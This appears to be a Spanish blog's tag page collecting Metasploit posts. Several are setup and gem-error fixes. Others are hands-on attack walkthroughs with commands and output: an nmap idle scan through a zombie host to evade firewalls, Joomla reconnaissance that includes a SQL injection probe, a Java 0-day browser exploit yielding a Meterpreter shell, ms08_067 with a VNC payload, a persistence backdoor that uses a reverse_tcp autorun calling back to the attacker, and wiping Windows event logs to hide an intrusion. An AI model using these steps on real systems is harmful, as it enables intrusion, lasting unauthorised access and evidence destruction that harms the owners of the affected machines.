Mostrando entradas con la etiqueta metasploit. Mostrar todas las entradas
Mostrando entradas con la etiqueta metasploit. Mostrar todas las entradas

Actualizando librerías para metasploit

Hace ya unos meses que no jugaba con metasploit y hoy, tras decidirme a hacer unas pruebas de concepto de shellshock, tras actualizar el framework me empiezan a dar errores de librerías y no arranca. Puesto que no creo que sea al único al que le pasan, dejo aquí las soluciones tomadas, que espero a alguien le sirvan. Lo primero de todo, el error mostrado cuando intentaba arrancar el framework,
shell> msfconsole
/var/lib/gems/1.9.1/gems/bundler-1.3.5/lib/bundler/spec_set.rb:92:in `block in materialize': Could not find rake-10.3.2 in any of the sources (Bundler::GemNotFound)
...
Como se puede deducir por el mensaje, el problema está en la librería rake. Y concretamente en la versión de la misma que tras el ultimo upgrade de metasploit es necesaria. Para solucionarlo, actualizamos dicha librería
shell> gem install rake
Fetching: rake-10.3.2.gem (100%)
Successfully installed rake-10.3.2
1 gem installed
...
Y un nuevo error vuelve a aparecer en escena. Esta vez,
shell> msfconsole
/var/lib/gems/1.9.1/gems/bundler-1.3.5/lib/bundler/spec_set.rb:92:in `block in materialize': Could not find i18n-0.6.11 in any of the sources (Bundler::GemNotFound)
...
Aplicamos la misma solución que en el primer caso,
shell> gem install i18n
...
Installing sqlite3 (1.3.9) 
Gem::Installer::ExtensionBuildError: ERROR: Failed to build gem native extension.

        /usr/bin/ruby1.9.1 extconf.rb 
checking for sqlite3.h... no
sqlite3.h is missing. Try 'port install sqlite3 +universal',
'yum install sqlite-devel' or 'apt-get install libsqlite3-dev'
and check your shared library search path (the
location where your sqlite3 shared library is located).
*** extconf.rb failed ***
Could not create Makefile due to some reason, probably lack of
necessary libraries and/or headers.  Check the mkmf.log file for more
details.  You may need configuration options.

Gem files will remain installed in /var/lib/gems/1.9.1/gems/sqlite3-1.3.9 for inspection.
Results logged to /var/lib/gems/1.9.1/gems/sqlite3-1.3.9/ext/sqlite3/gem_make.out

An error occurred while installing sqlite3 (1.3.9), and Bundler cannot continue.
Make sure that `gem install sqlite3 -v '1.3.9'` succeeds before bundling.
Sólo que esta vez nos avisa de otro error de por medio. Nos falta una librería necesaria para poder instalar sqlite3 y, por suerte, la solución también nos la da un poco más arriba, que es instalar el paquete libsqlite3-dev. Procedemos,
shell> apt-get install libsqlite3-dev
Una vez finalizado, repetimos la instalación de i18n, esta vez debería de ir todo correcto y msfconsole debería de arrancar ya perfectamente.
shell> msfconsole
# cowsay++
 ____________
 metasploit 
 ------------
       \   ,__,
        \  (oo)____
           (__)    )\
              ||--|| *

+ -- --=[ 1358 exploits - 761 auxiliary - 218 post        ]
+ -- --=[ 346 payloads - 35 encoders - 8 nops             ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf >
Si a alguien le pasa lo mismo, aquí podrá encontrar la solución.
Leer más

Metasploit: Could not find rake-10.1.0 in any of the sources

Tras un tiempo sin jugar con Metasploit, este fin de semana lo volví a arrancar puesto que durante toda esta semana, el tema de la seguridad estuvo ajetreado. Ya sabéis, OpenSSL y Heartbleed.
Tras observar un poco los últimos cambios en los módulos de Metasploit, rápidamente me di cuenta de que ya había un módulo para escanear un dominio, ip o rango de ips y saber si era o no vulnerable. Así que en vez de partir del script básico que tenía a mano, decidí tirar de Metasploit, que sirve precisamente para eso, auditoría más cómoda.
Cuando me dispuse a arrancar la consola, tras realizar un git pull, me salta el siguiente error.
shell> msfconsole 
Could not find rake-10.1.0 in any of the sources
Run `bundle install` to install missing gems.
No puedo arrancar la consola y me dice 'algo' de que está fallando la versión de rake, que no la puede encontrar. Lógicamente en la actualización de los paquetes (hice un git pull) se actualizó la versión del software que estaba empleando y en el sistema no la había actualizado. Por suerte, el mismo error dice cual es la solución.
shell> bundle install
Fetching gem metadata from https://rubygems.org/.........
Fetching gem metadata from https://rubygems.org/..
Installing rake (10.1.0) 
Installing i18n (0.6.5) 
Using multi_json (1.0.4) 
Installing activesupport (3.2.14) 
Using builder (3.0.4) 
Installing activemodel (3.2.14) 
Using arel (3.0.2) 
Using tzinfo (0.3.37) 
Installing activerecord (3.2.14) 
Installing bcrypt-ruby (3.1.2) 
Installing database_cleaner (1.1.1) 
Installing diff-lcs (1.2.4) 
Using factory_girl (4.2.0) 
Installing fivemat (1.2.1) 
Installing json (1.8.0) 
Installing pg (0.16.0) 
Installing metasploit_data_models (0.17.0) 
Installing mini_portile (0.5.1) 
Installing msgpack (0.5.5) 
Installing network_interface (0.0.1) 
Installing nokogiri (1.6.0) 
Installing packetfu (1.1.9) 
Using pcaprub (0.11.3) 
Installing redcarpet (3.0.0) 
Installing rkelly-remix (0.0.6) 
Using robots (0.10.1) 
Installing rspec-core (2.14.5) 
Installing rspec-expectations (2.14.2) 
Installing rspec-mocks (2.14.3) 
Installing rspec (2.14.1) 
Installing shoulda-matchers (2.3.0) 
Using simplecov-html (0.5.3) 
Using simplecov (0.5.4) 
Installing timecop (0.6.3) 
Installing yard (0.8.7) 
Using bundler (1.3.5) 
Your bundle is complete!
Use `bundle show [gemname]` to see where a bundled gem is installed.
Esto tardó un poco entre que descarga paquetes y los instala. Al finalizar Metasploit ya arranca perfectamente. El susto duró menos de 5 minutos. A trabajar!
Leer más

Instalar Metasploit en Debian Wheezy

Hace ya algún tiempo escribí un artículo sobre cómo instalar Metasploit en Debian (squeeze). Hoy, después de un tiempo sin arrancar Metasploit, tras actualizarlo, obtengo el siguiente error,
Metasploit requires the Bundler gem to be installed
Tras investigar un poco, veo que el problema es que el framework ha evolucionado y ahora necesita una versión de Ruby superior, así que no me queda más remedio que actualizar. Así que paso mi sistema de Squeeze (old-stable) a Wheezy (stable). Tarde o temprano lo había que hacer, así que manos a la obra.
Tras los típicos update, upgrade y dist-upgrade ya tengo el sistema en la última versión estable de Debian y listo para arrancar Metasploit.
Ahora voy a hacer un pequeño inciso para aquella gente es esté comenzando a usar Metasploit y lo quiera instalar desde cero. Lógicamente si ya lo tienes instalado, estos pasos no son necesarios.
Lo primero que hay que hacer es instalar los paquetes básicos,
shell> apt-get install git-core postgresql curl ruby1.9.3
shell> apt-get install nmap
Tras ello, ya podemos comenzar a instalar las pequeñas dependencias de Metasploit. Puesto que la mayoría de código está escrito en Ruby, para instalar dependencias lo podemos hacer automáticamente con gem. Para ello,
shell> gem install wirble sqlite3 bundler
Ahora que ya tenemos instalado el software necesario vamos a clonar la última versión estable del framwork. Ejecutamos lo siguiente,
shell> cd /opt
shell> git clone https://github.com/rapid7/metasploit-framework.git
shell> cd metasploit-framework
Hasta aquí son los pasos para la instalación básica. Ahora vienen las complicaciones, por llamarlo de alguna manera. En la última versión de Metasploit, el framework al arrancar comprueba que todos los paquetes necesarios están instalados y en caso contrario los instala automáticamente. Esto lo hace gracias a bundle y siempre sacando la información de rubygems.org (excepto que se indique lo contrario). Como también lo podemos ejecutar nosotros manualmente, nos posicionamos sobre la carpeta donde esté instalado y ejecutamos,
shell> bundle install
...
Your bundle is complete!
Si tenemos todas las dependencias instaladas, esto tardará un poquito en terminar, pero no tendríamos que tener ningún error. Si nos da algún error al instalar algún paquete, lo más seguro es que nos falte alguna dependencia. Estas son las dependencias necesarias. Asegúrate de tener todos los paquetes instalados.
shell> apt-get install make \
                       libpq-dev \
                       libxml2-dev \
                       libxslt1-dev \
                       libpcap-dev
Al finalizar la instalación de las dependencias, volvemos a ejecutar bundle,
shell> bundle install
Si todo finalizó correctamente ya podemos arrancar Metasploit,
shell> ./msfconsole

Durante la instalación de los paquetes vía bundle puede dar alguno de los siguientes errores. En caso de que alguno de ellos aparezca es que falta alguna de las dependencias que hay que tener instaladas.
Error 1:
...
Installing json (1.7.7) 
Gem::Installer::ExtensionBuildError: ERROR: Failed to build gem native extension.

        /usr/bin/ruby1.9.1 extconf.rb 
creating Makefile

make
sh: 1: make: not found
Error 2:
...
Installing pg (0.15.1) 
Gem::Installer::ExtensionBuildError: ERROR: Failed to build gem native extension.

        /usr/bin/ruby1.9.1 extconf.rb 
checking for pg_config... yes
checking for libpq-fe.h... no
Can't find the 'libpq-fe.h header
*** extconf.rb failed ***
Could not create Makefile due to some reason, probably lack of
necessary libraries and/or headers.  Check the mkmf.log file for more
details.  You may need configuration options.
Error 3:
...
Installing nokogiri (1.5.9) 
Gem::Installer::ExtensionBuildError: ERROR: Failed to build gem native extension.

        /usr/bin/ruby1.9.1 extconf.rb 
checking for libxml/parser.h... no
-----
libxml2 is missing.  please visit http://nokogiri.org/tutorials/installing_nokogiri.html for help with installing dependencies.
-----
*** extconf.rb failed ***
Could not create Makefile due to some reason, probably lack of
necessary libraries and/or headers.  Check the mkmf.log file for more
details.  You may need configuration options.
Error 4:
Installing nokogiri (1.5.9) 
Gem::Installer::ExtensionBuildError: ERROR: Failed to build gem native extension.

        /usr/bin/ruby1.9.1 extconf.rb 
checking for libxml/parser.h... no
-----
libxml2 is missing.  please visit http://nokogiri.org/tutorials/installing_nokogiri.html for help with installing dependencies.
-----
*** extconf.rb failed ***
Could not create Makefile due to some reason, probably lack of
necessary libraries and/or headers.  Check the mkmf.log file for more
details.  You may need configuration options.
Error 5:
...
Installing pcaprub (0.11.3) 
Gem::Installer::ExtensionBuildError: ERROR: Failed to build gem native extension.

        /usr/bin/ruby1.9.1 extconf.rb 

[*] Running checks for pcaprub code...
platform is i486-linux
checking for pcap_open_live() in -lpcap... no
checking for pcap_setnonblock() in -lpcap... no
creating Makefile

make
compiling pcaprub.c
pcaprub.c:8:18: fatal error: pcap.h: No such file or directory
compilation terminated.
make: *** [pcaprub.o] Error 1

La entrada Instalar Metasploit en Debian Wheezy la puedes leer en El mundo en bits.
Leer más

Nmap idle-scan

Hoy os voy a hablar sobre una técnica de escaneo de puertos con nmap que intenta evitar el filtrado de firewall's. Es lo que se conoce como nmap idle-scan. idle-scan es el nombre con el que se conoce a la técnica de escaneo que haciendo uso de hosts zombies oculta completamente la IP origen del escaneo. No ofusca la IP origen de la conexión, sino que ni siquiera envía un sólo paquete al destino. Esta técnica es una de las mejores para saltarnos firewall's e IDS.
El funcionamiento de idle-scan es realmente una técnica compleja en cuanto a escaneos de puertos se refiere, pero se basa en las siguientes premisas (a groso modo):
  • Un sistema operativo escucha en determinados puertos TCP al igual que un servidor web escucha en el 80 o uno de correo en el 25.
  • Un puerto se considera abierto si un servicio está escuchando en dicho puerto, cerrado sino.
  • Para establecer una conexión a un puerto, se envía un paquete "SYN" al puerto. Si el puerto está abierto y a la escucha, enviará un "SYN/ACK", en caso contrario un "RST".
  • Una máquina que reciba un paquete "SYN/ACK" no solicitado responderá con un "RST". Un "RST" no solicitado será automáticamente ignorado.
  • Cada paquete IP tiene un número de identificación (identificación de fragmento). Muchos de los SO actuales incrementan este número por cada paquete que envían, por lo que la observación es este número puede indicar cuántos paquetes se enviaron desde la última conexión.
Realizando una combinación de todos las características anteriormente descritas es a nivel general en lo que se basa la técnica idle-scan, representada gráficamente a continuación.
nmap - idle-scan
Para poder usarlo tal como se muestra en la figura, debemos de seguir un par de sencillos pasos.
  1. Seleccionar un host 'zombie'
    Este host que debemos de seleccionar, para que la técnica funcione, debe tener el IPID incremental. Existen numerosas formas de averiguar si un equipo tiene o no el IPID incremental, una de ellas es directamente con el propio nmap (plugin ipidseq.nse). Otra es empleando metasploit. Para completar el ejemplo, vamos a emplear metasploit.
    shell> msfcli scanner/ip/ipidseq RHOSTS=192.168.0.0/24 E
    
    En ejecutar el comando anterior tardará un tiempo, así que sed pacientes. Cuando termine nos dará un listado de aquellos host's con el IPID incremental que haya en la red.
  2. Lanzar nmap
    Ahora que ya tenemos la víctima puente para poder lanzar el ataque y estar perfectamente camuflados, únicamente hay que lanzarlo.
    Vamos a suponer que el host zombie empleado sea el 192.168.0.201 y el equipo a escanear el 192.168.0.15. Si lanzamos un nmap directamente contra ese equipo, aparte de dejar rastros de la IP que hace el escaneo, puede que un posible firewall nos detecte e impida la conexión.
    shell> nmap -PN -P0 -p445 192.168.0.15
    PORT     STATE     SERVICE
    445/tcp  filtered  microsoft-ds
    
    Sin embargo, si empleamos el zombie, veremos los sigueinte,
    shell> nmap -PN -P0 -p445 -sI 192.168.0.201 192.168.0.15
    PORT     STATE     SERVICE
    445/tcp  open      microsoft-ds
    

¿Qué ventajas ofrece idle-scan?

  • Sigilo
    No se envía ningún paquete con la IP del atacante, por lo que su identidad está completamente a salvo.
  • Evasión
    Al no realizar ninguna conexión directa, tanto firewall como IDS tienen más difícil detectar como filtrar el escaneo. No existe una IP origen que bloquear, ya que puede que la IP "origen" sea un equipo de la propia red, el cual sí está permitido.
Más información sobre idle-scan en nmap.org

La entrada Nmap idle-scan la puede leer en Puppet Linux.
Leer más

Metasploit, auditando joomla

joomla metasploit demo
Joomla es uno de los CMS más habituales para blog's o contenido dinámico. Quizás algo menos profesional que Drupal, pero sí más sencillo, por lo que su integración y despliegue en numerosos sitios fue alta. Hoy vamos a ver cómo empleando metasploit podemos comenzar a auditar la seguridad de un Joomla. Lo módulos de los que dispone metasploit para realizar el análisis que vamos a efectuar no son invasivos, por lo que sólo obtendremos información, que es lo esencial para comenzar a trabajar. Esto es lo que conocemos como Information Gathering (Recolección de Información).
Actualmente en Joomla hay 3 módulos para consultas acerca de Joomla, que nos comprobar la versión (joomla_version), ver las páginas colgadas (joomla_pages) y los plugins instalados en el CMS (joomla_plugins). Por lo tanto, para saber más acerca de una web en Joomla, lo único que necesitas saber será la dirección en la que contesta. Lo primero será saber a qué versión nos estamos enfrentando.
msf> use auxiliary/scanner/http/joomla_version
msf auxiliary(joomla_version)> set RHOSTS domain.com
RHOSTS => domain.com
msf auxiliary(joomla_version)> run

[+] 192.168.1.33:80 - Joomla Version: 2.5.0 from: language/en-GB/en-GB.xml 
[+] 192.168.1.33:80 - OS: *Nix
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
En este caso, como podéis comprobar estamos antes la versión 2.5.0. Esto ya nos da muchas ideas para buscar módulos vulnerables o posibles exploit's que funcionen. Acabamos de acotar mucho las búsquedas a realizar.
Ahora vamos a comprobar qué páginas tiene este Joomla disponibles,
msf> use auxiliary/scanner/http/joomla_pages
msf auxiliary(joomla_pages)> set RHOSTS domain.com
RHOSTS => domain.com
msf auxiliary(joomla_pages)> run

[+] 192.168.1.33:80 - Page Found: /robots.txt
[+] 192.168.1.33:80 - Page Found: /administrator/index.php
[+] 192.168.1.33:80 - Page Found: /htaccess.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
En este caso no nos fue de gran ayuda. Tenemos el robots.txt, como todos los Joomla's y la página de administración. En este caso, el robots es también el por defecto del CMS, por lo que no tenemos ninguna información extra.
Así que vamos por la parte más divertida, buscar los plugins que tiene activos el sistema. Esto lo conseguimos tal que así,
msf> use auxiliary/scanner/http/joomla_plugins
msf auxiliary(joomla_plugins)> set RHOSTS domain.com
RHOSTS => domain.com
msf auxiliary(joomla_plugins)> run

[+] 192.168.1.33:80 - Plugin: /administrator/ 
[+] 192.168.1.33:80 - Plugin: /administrator/components/ 
[+] 192.168.1.33:80 - Plugin: /administrator/components/com_admin/ 
[+] 192.168.1.33:80 - Plugin: /administrator/index.php?option=com_djartgallery&task=editItem&cid[]=1'+and+1=1+--+ 
[+] 192.168.1.33:80 - Plugin: /administrator/index.php?option=com_searchlog&act=log 
[+] 192.168.1.33:80 - Plugin: /components/com_banners/ 
[+] 192.168.1.33:80 - Plugin: /components/com_content/ 
[+] 192.168.1.33:80 - Plugin: /components/com_mailto/ 
[+] 192.168.1.33:80 - Plugin: /components/com_search/ 
[+] 192.168.1.33:80 - Plugin: /components/com_users/ 
[+] 192.168.1.33:80 - Plugin: /components/com_weblinks/ 
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Y aunque va a tardar un poco, la verdad es que esta información sí es MUY importante. De aquí sacaremos qué exploit's podemos aplicar y cuales no tiene sentido intentar explotar, así como posibles SQLi.
Entradas relacionadas: Averiguando fallos en joomla

La entrada Metasploit, auditando joomla la puedes leer en Puppet Linux.
Leer más

Metasploit, smb scan

metasploit contiene varios módulos que sirven para consultar y auditar la seguridad del protocolo SMB. Quien dice auditar, dice que un factible atacante explote, por lo que es mejor conocerlos y saber que no somos, cuando menos, fácilmente vulnerables.
Una sencilla búsqueda sobre smb en metasploit nos arroja los siguientes módulos, que comentamos a continuación.
  • smb/pipe_auditor
    Utilizado para determinar qué servicios SMB están disponibles.
  • smb/pipe_dcerpc_auditor
    Escanea todos los servicios SMB y devuelve aquellos que puede contender detrás servicios DCERPC.
  • smb/smb2
    Determinar si los diferentes equipos soportan el protocolo SMB2.
  • smb/smb_enumshares
    Enumera todos los archivos y carpetas compartidas en red.
    Permite establecer una combinación de usuario y contraseña, con lo que aplica a toda la red escaneada el mismo patrón en búsqueda de equipos accesibles.
  • smb/smb_enumusers
    Empleando el protocolo SMB RPC lista todos los usuarios existentes.
  • smb/smb_login
    Intenta acceder a los sistemas mediante una autenticación en el protocolo SMB. Entre otras cosas sirve para comprobar la fortaleza de las contraseñas, por lo que permite un ataque por fuerza bruta de usuario y contraseña.
  • smb/smb_lookupsid
    Permite determinar que usuarios hay creados en cada una de las maquinas de la red, lo que facilita enormemente un ataque por fuerza bruta.
  • smb/smb_version
    Como su nombre indica, devuelve la versión de SMB empleada en cada uno de los equipos de la red, así como otras características de los mismos si son directamente accesibles.

La entrada Metasploit, smb scan la puedes leer en Puppet Linux.
Leer más

Metasploit se pasa a git

Recientemente actualicé la versión de metasploit, con la utilidad que trae para tal efecto, msfupdate, y obtuve un interesante mensaje relacionado con el cambio de sistema de versiones. Por lo que parece han decidido dejar de emplear svn y pasarse a git. Más concretamente ahora está el código disponible en https://github.com.
shell> msfupdate
[*]
[*] Attempting to update the Metasploit Framework...
[*]

[*] Deprecation Note: The next version of Metasploit will
[*] update over the git protocol, which requires outbound
[*] access to github.com:9418/TCP.
[*] Please adjust your egress firewall rules accordingly.
En la revisión 16314.
Aunque svn todavía está disponible para su uso, vamos a ver cómo pasar al nuevo sistema. Para ello debemos de instalar las utilidades de clonación de repositorios git. Prácticamente están disponibles para todas las distribuciones.
shell> apt-get install git-core
shell> yum install git
shell> pacman -S git
Una vez instalado el software, ya sólo queda clonar el código, para tener nuestra copia local y por lo tanto, nuestro framework disponible y actualizado.
shell> git clone git://github.com/rapid7/metasploit-framework.git

Cloning into metasploit-framework...
remote: Counting objects: 180679, done.
remote: Compressing objects: 100% (48858/48858), done.
remote: Total 180679 (delta 127197), reused 179204 (delta 126049)
Receiving objects: 100% (180679/180679), 199.89 MiB | 8.94 MiB/s, done.
Resolving deltas: 100% (127197/127197), done.
Ahora cada vez que deseemos actualizarlo, simplemente
shell> git pull

La entrada Metasploit se pasa a git la puedes leer en Puppet Linux.
Leer más

java_jre17_jmxbean 0 day exploit

A finales de Agosto salió una importante vulnerabilidad en Java, un 0 day, que fue ampliamente explotado. Oracle no tardó demasiado en sacar un parque que evitaba su explotación, aunque en ese tiempo muchos sistemas ya habían caído. Esta semana apareció nuevamente un 0 day, que afecta a la última versión de Java y sin un parche disponible a fecha de hoy. Dicho 0 day permite la ejecución de código arbitrario en el equipo víctima.
Ya existe un pequeño módulo en metasploit que simplifica la explotación de dicha vulnerabilidad y lo único que es necesario es acceder a una página con el código ejecutándose y que el navegador de la víctima tenga el plugin de java activado.
msf> use exploit/multi/browser/java_jre17_jmxbean
msf exploit(java_jre17_jmxbean)> show options

Module options (exploit/multi/browser/java_jre17_jmxbean):

  Name        Setting  Required  Description
  ----        -------  --------  -----------
  SRVHOST     0.0.0.0  yes       The local host to listen on.
  SRVPORT     8080     yes       The local port to listen on.
  SSL         false    no        Negotiate SSL for incoming connections.
  SSLCert              no        Path to a custom SSL certificate.
  SSLVersion  SSL3     no        Specify the version of SSL
  URIPATH              no        The URI to use for this exploit 

Exploit target:

  Id  Name
  --  ----
  0   Generic (Java Payload)

msf exploit(java_jre17_jmxbean)> set SRVPORT 80
SRVPORT => 80
msf exploit(java_jre17_jmxbean)> set URIPATH /
URIPATH => /
msf exploit(java_jre17_jmxbean)> exploit
 [*] Exploit running as background job.

 [*] Started reverse handler on 192.168.1.33:4444 
 [*] Using URL: http://0.0.0.0:80/
 [*]  Local IP: http://192.168.1.33:80/
 [*] Server started.

msf exploit(java_jre17_jmxbean)>

 [*] 192.168.1.47  java_jre17_jmxbean - handling request for /
 [*] 192.168.1.47  java_jre17_jmxbean - handling request for /
 [*] 192.168.1.47  java_jre17_jmxbean - handling request for /GapYRtBm.jar
 [*] 192.168.1.47  java_jre17_jmxbean - handling request for /GapYRtBm.jar 
 [*] Sending stage (30216 bytes) to 192.168.1.47  
 [*] Meterpreter session 1 opened (192.168.1.33:4444 -> 192.168.1.47:2391) at 2013-01-10 20:41:37 +0100
   
msf exploit(java_jre17_jmxbean)> sessions -i 1
 [*] Starting interaction with 1...  

meterpreter>
Actualmente no hay ninguna solución para evitar este ataque, así que toca volver a desactivar Java en nuestros navegadores urgentemente!
Si usas Google Chrome, lo puedes arrancar con la opción --disable-java.

¡Actualización!
Oracle acaba de sacar una nueva versión de java, la 7u11, que soluciona el 0 day comentado. Se recomienda actualización inmediata. Como nota destacada de esta nueva versión, hay que destacar que suben el nivel de seguridad de medio a alto, por defecto y que sólo permitirán la ejecución de applets firmados y validados por CA's.

La entrada java_jre17_jmxbean 0 day exploit la puedes leer en Puppet Linux.
Leer más

metasploit, borrar log's de Windows

Tras realizar un acceso no deseado a un equipo con Windows y tras garantizarnos próximos acceso a dicho sistema, la idea es dejar el mínimo rastro posible. Esta es una de las tareas más importantes en la post-explotación, la ocultación. Windows guarda una especie de log's o registros del sistema para poder saber qué es lo que está pasando, así que una de las formas más sencillas de poder ocultar el acceso, es lógicamente borrarlos. Por suerte, metasploit en meterpreter trae consigo un par de componentes que ayudan a realizar esta tarea. El primero es el uso del modo incógnito, que lo que hace es intentar ocultar todo lo posible todas aquellas tareas que se hagan en el sistema, así como la presencia de un "no deseado" en el mismo.
meterpreter> load incognito
Otra de las formas que hay es borrar los registros que hemos mencionado. Esto es lo mejor que se puede realizar justo antes de abandonar el equipo, para borrar rastro creado en los mismos. Se borrará todo el contenido de los registros.
meterpreter> clearev
[*] Wiping 88 records from Application...
[*] Wiping 136 records from System...
[*] Wiping 0 records from Security...
Leer más

metasploit, quédate en windows

Una de las cosas más importantes que hay que hacer cuando se acaba de explotar una vulnerabilidad es garantizarse el acceso nuevamente al equipo. Conseguirlo la primera vez puede ser casualidad o suerte. Un mail con un archivo infectado, un enlace que da acceso o algo que hizo el usuario puede no repetirse de forma voluntaria o rápida, de ahí que una vez que tengamos acceso, haya que conservarlo. Para ello, partimos de una conexión establecida para tener acceso al equipo.
msf> sessions -i 1
[*] Starting interaction with 1...

meterpreter>
Una vez dentro del mismo y con ayuda del intérprete meterpreter, necesitamos garantizarnos poder volver a abrir la conexión con la máquina de forma remota siempre que nos interese. para hacerlo, qué mejor que ayudarnos del script persistence, que justamente hace eso, tal como sigue,
meterpreter> run persistence -A -X -p 10000 -r 192.168.1.33
[*] Running Persistance Script
[*] Resource file for cleanup created at /root/.msf4/logs/persistence/WIN-VIRT_20120904.4132/WIN-VIRT_20120904.4132.rc
[*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=192.168.1.33 LPORT=10000
[*] Persistent agent script is 612693 bytes long
[+] Persistent Script written to C:\DOCUME~1\LOCALS~1\CONFIG~1\Temp\XRoCKIfpBs.vbs
[*] Starting connection handler at port 10000 for windows/meterpreter/reverse_tcp
[+] Multi/Handler started!
[*] Executing script C:\DOCUME~1\LOCALS~1\CONFIG~1\Temp\XRoCKIfpBs.vbs
[+] Agent executed with PID 2452
[*] Installing into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\YilifWziMR
[+] Installed into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\YilifWziMR

meterpreter> exit -y
[*] Shutting down Meterpreter...

[*] 192.168.1.50 - Meterpreter session 1 closed.  Reason: User exit
Tenemos que indicarle el puerto y la IP de conexión en la que estará un software escuchando para que pueda abrir la conexión hacia el sistema. Una vez esté, salimos de la sesión que tenemos y sólo nos queda configurar un nuevo exploit para abrir cuando así lo deseemos la conexión con el equipo "infectado". Esta vez la forma de establecer la comunicación es directa y no necesita de la explotación de ningún bug.
Ponemos por la tanto el handler a la escucha en el puerto y la IP que se han indicado y al momento aparecerá una nueva conexión, iniciada por el Windows al equipo de metasploit. Esto garantiza el acceso nuevamente a la máquina y además la conexión es iniciada por el equipo infectado, lo que facilita enormemente saltarse firewall's e IDS's.
msf> use multi/handler
msf exploit(handler)> set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler)> set LHOST 192.168.1.33
LHOST => 192.168.1.33
msf exploit(handler)> set LPORT 10000
LPORT => 10000
msf exploit(handler)> exploit

[*] Started reverse handler on 192.168.1.33:10000 
[*] Starting the payload handler...
[*] Sending stage (764928 bytes) to 192.168.1.50
[*] Meterpreter session 1 opened (192.168.1.33:10000 -> 192.168.1.50:3045) at 2012-09-01 16:46:01 +0200

msf exploit(handler)> sessions -l

Active sessions
===============

Id  Type         Connection
--  ----         ----------
1   meterpreter  192.168.1.33:10000 -> 192.168.1.50:3045
Leer más

metasploit, vnc payload

La costumbre es una mala compañera de viaje. Siempre que hacía análisis de equipos empleaba los mismos 3 o 4 payload's y era bastante raro que me fijase en mucho más. La idea era siempre la misma, conseguir un acceso al equipo (una shell de meterpreter, por ejemplo). Hoy de casualidad he descubierto un nuevo payload, vncinject/bind_tcp, que no es más que un simple payload que ofrece la posibilidad de abrir una pequeña ventana con la conexión vnc y una shell. Explotar las cosas en un equipo windows con interfaz gráfica es mucho más simple. Una sesión de meterpreter y una de vnc facilitan mucho las cosas. Vamos a ver a continuación cómo usar este nuevo payload.
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi)> set PAYLOAD windows/vncinject/bind_tcp 
msf exploit(ms08_067_netapi)> set RHOST 192.168.1.50
msf exploit(ms08_067_netapi)> set RHOST 192.168.1.33
msf exploit(ms08_067_netapi)> exploit

[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 2 - lang:Spanish
[*] Selected Target: Windows XP SP2 Spanish (NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (445440 bytes) to 192.168.1.50
[*] Starting local TCP relay on 127.0.0.1:5900...
[*] Local TCP relay started.
[*] Launched vncviewer.
[*] Session 2 created in the background.

VNC Viewer Free Edition 4.1.1 for X - built Mar 10 2010 21:40:13
Copyright (C) 2002-2005 RealVNC Ltd.
See http://www.realvnc.com for information on VNC.
Thu Sep 13 16:24:07 2012
 CConn:       connected to host 127.0.0.1 port 5900

Thu Sep 13 16:24:08 2012
 CConnection: Server supports RFB protocol version 3.8
 CConnection: Using RFB protocol version 3.8
 TXImage:     Using default colormap and visual, TrueColor, depth 24.
 CConn:       Using pixel format depth 6 (8bpp) rgb222
 CConn:       Using ZRLE encoding

Thu Sep 13 16:24:09 2012
 CConn:       Throughput 20625 kbit/s - changing to hextile encoding
 CConn:       Throughput 20625 kbit/s - changing to full colour
 CConn:       Using pixel format depth 24 (32bpp) little-endian rgb888
 CConn:       Using hextile encoding

msf exploit(ms08_067_netapi)>
Tras lanzar el exploit, obtendremos una ventana con la conexión vnc establecida, si la explotación fue satisfactoria.
windows vnc connection
Leer más

metasploit, instalación de debian squeeze

Aunque ya tenemos hablado muchas veces de cómo usar metasploit, nunca hemos mencionado cómo instalar la última versión del mismo en debian squeeze. Por defecto, si bajas el paquete/binario de la web oficial te ofrecen un pequeño programa de instalación con guía que siempre que lo intenté me falló. Llega a un punto, algo relacionado con postgress que no es capaz de continuar. Así que decidí que la mejor forma de realizar la instalación es empleando directamente subversion (svn).
Para una instalación sencilla, lo único que necesitamos es instalar ruby, subversion y todo el código de metasploit.
shell> apt-get install subversion
shell> apt-get install ruby libopenssl-ruby libyaml-ruby \
       libdl-ruby libiconv-ruby libreadline-ruby irb ri rubygems
Una vez instalado esto, sólo queda hacer una copia del repositorio con subversion. Para ello,
shell> cd /opt
shell> svn co http://www.metasploit.com/svn/framework3/trunk/ metasploit
Una vez haya terminado ya tenemos listo nuestro framework y es plenamente funcional. Pero como nos interesa tenerlo al 100%, vamos a darle también conectividad a una base de datos. Las últimas versiones de metasploit sólo soportan postgresql como base de datos, así que vamos a instalarla y añadirla.
shell> apt-get install postgresql pgadmin3 libpq-dev \
       libreadline-dev libssl-dev libpq5 ruby-dev
shell> gem install pg
Una vez instalada y arrancada, configuramos la nueva base de datos,
shell> su postgres
postgres@shell> createuser metasploit -P
Enter password for new role: 
Enter it again: 
Shall the new role be a superuser? (y/n) n
Shall the new role be allowed to create databases? (y/n) n
Shall the new role be allowed to create more new roles? (y/n) n
postgres@shell> createdb --owner=metasploit metasploit
exit
Llegados a este punto, ya podemos arrancar por primera vez metasploit. Así que hacemos los link's correspondientes y lo arrancamos.
shell> ln -s /opt/metasploit/msf* /usr/local/sbin/
Una vez arrancado, si no hay problemas tendríamos que tener acceso al promt del framework por lo que sólo nos queda añadirle el soporte de base de datos.
shell> msfconsole
       =[ metasploit v4.5.0-dev [core:4.5 api:1.0]
+ -- --=[ 960 exploits - 507 auxiliary - 153 post
+ -- --=[ 257 payloads - 28 encoders - 8 nops
       =[ svn r15900 updated yesterday (2012.09.25)

msf> db_connect metasploit:qwerty@127.0.0.1:5432/metasploit
...
[*] Rebuilding the module cache in the background...

msf> db_status
[*] postgresql connected to metasploit
Y ya está metasploit perfectamente instalado y listo para funcionar sobre debian squeeze. Cada vez que se quiera actualizar únicamente,
shell> svn update /opt/metasploit

Píldora: Compilación de pcaprub.
shell> apt-get install libpcap-dev
